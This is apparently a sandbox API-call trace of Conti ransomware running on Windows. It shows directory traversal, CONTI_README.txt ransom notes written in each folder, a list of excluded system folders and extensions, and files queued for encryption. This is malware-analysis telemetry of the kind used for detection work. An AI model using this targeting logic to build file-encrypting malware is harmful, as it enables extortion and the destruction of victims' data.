	[0098.744] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\"
	[0098.744] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\CONTI_README.txt"
	[0098.744] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.746] GetProcessHeap () returned 0x1720000
	[0098.746] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d07e8 | out: hHeap=0x1720000) returned 1
	[0098.746] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.747] CloseHandle (hObject=0x37c) returned 1
	[0098.747] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x4eb2556b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c84f0
	[0098.747] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.747] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x4eb2556b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0098.747] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.747] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.747] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb2556b, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eb2556b, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eb2556b, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.748] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.748] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.748] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.748] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.748] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2=".") returned 1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="..") returned 1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="tmp") returned -1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="winnt") returned -1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="Application Data") returned 1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="AppData") returned 1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="temp") returned -1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="thumb") returned -1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="$Recycle.Bin") returned 1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="System Volume Information") returned -1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files") returned -1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files (x86)") returned -1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="Boot") returned 1
	[0098.748] lstrcmpiW (lpString1="en-us.16", lpString2="Windows") returned -1
	[0098.748] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned 88
	[0098.748] lstrlenW (lpString="en-us.16") returned 8
	[0098.748] GetProcessHeap () returned 0x1720000
	[0098.748] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc4) returned 0x17d07e8
	[0098.748] lstrcpyW (in: lpString1=0x17d07e8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F"
	[0098.748] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\"
	[0098.748] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\", lpString2="en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16"
	[0098.748] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned 97
	[0098.748] GetProcessHeap () returned 0x1720000
	[0098.748] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc8) returned 0x17c3a00
	[0098.748] lstrcpyW (in: lpString1=0x17c3a00, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16"
	[0098.748] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*"
	[0098.748] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned 97
	[0098.748] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.748] GetProcessHeap () returned 0x1720000
	[0098.749] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe6) returned 0x17c3ad0
	[0098.749] lstrcpyW (in: lpString1=0x17c3ad0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16"
	[0098.749] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\"
	[0098.749] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\CONTI_README.txt"
	[0098.749] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0098.751] GetProcessHeap () returned 0x1720000
	[0098.751] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3ad0 | out: hHeap=0x1720000) returned 1
	[0098.751] WriteFile (in: hFile=0x380, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.752] CloseHandle (hObject=0x380) returned 1
	[0098.752] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7eb0
	[0098.753] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.753] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.753] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.753] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.753] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb4b4ee, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eb4b4ee, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.753] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.753] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.753] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.753] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.753] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.753] lstrcmpiW (lpString1="stream.x86.en-us.man.dat", lpString2=".") returned 1
	[0098.753] lstrcmpiW (lpString1="stream.x86.en-us.man.dat", lpString2="..") returned 1
	[0098.753] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.753] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.753] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".exe") returned 0x0
	[0098.753] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".dll") returned 0x0
	[0098.753] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".lnk") returned 0x0
	[0098.753] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".sys") returned 0x0
	[0098.753] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.753] StrStrIW (lpFirst="stream.x86.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.753] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned 97
	[0098.753] lstrlenW (lpString="stream.x86.en-us.man.dat") returned 24
	[0098.753] GetProcessHeap () returned 0x1720000
	[0098.753] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf6) returned 0x17c3180
	[0098.753] lstrcpyW (in: lpString1=0x17c3180, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16"
	[0098.753] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\"
	[0098.753] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\", lpString2="stream.x86.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat"
	[0098.753] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d41d0) returned 1
	[0098.753] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.754] GetProcessHeap () returned 0x1720000
	[0098.754] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3a00 | out: hHeap=0x1720000) returned 1
	[0098.754] FindClose (in: hFindFile=0x17c7eb0 | out: hFindFile=0x17c7eb0) returned 1
	[0098.754] GetProcessHeap () returned 0x1720000
	[0098.754] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d07e8 | out: hHeap=0x1720000) returned 1
	[0098.754] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2=".") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="..") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="tmp") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="winnt") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="Application Data") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="AppData") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="temp") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="thumb") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="$Recycle.Bin") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="System Volume Information") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files (x86)") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="Boot") returned 1
	[0098.754] lstrcmpiW (lpString1="x-none.16", lpString2="Windows") returned 1
	[0098.754] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned 88
	[0098.754] lstrlenW (lpString="x-none.16") returned 9
	[0098.754] GetProcessHeap () returned 0x1720000
	[0098.754] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x17d07e8
	[0098.754] lstrcpyW (in: lpString1=0x17d07e8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F"
	[0098.754] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\"
	[0098.754] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\", lpString2="x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16"
	[0098.754] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned 98
	[0098.754] GetProcessHeap () returned 0x1720000
	[0098.754] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xca) returned 0x173baf8
	[0098.754] lstrcpyW (in: lpString1=0x173baf8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16"
	[0098.754] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*"
	[0098.755] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned 98
	[0098.755] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.755] GetProcessHeap () returned 0x1720000
	[0098.755] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe8) returned 0x17c3a00
	[0098.755] lstrcpyW (in: lpString1=0x17c3a00, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16"
	[0098.755] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\"
	[0098.755] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\CONTI_README.txt"
	[0098.755] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0098.756] GetProcessHeap () returned 0x1720000
	[0098.757] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3a00 | out: hHeap=0x1720000) returned 1
	[0098.757] WriteFile (in: hFile=0x380, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.757] CloseHandle (hObject=0x380) returned 1
	[0098.758] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8570
	[0098.758] lstrcmpiW (lpString1=".", lpString2=".") returned 0
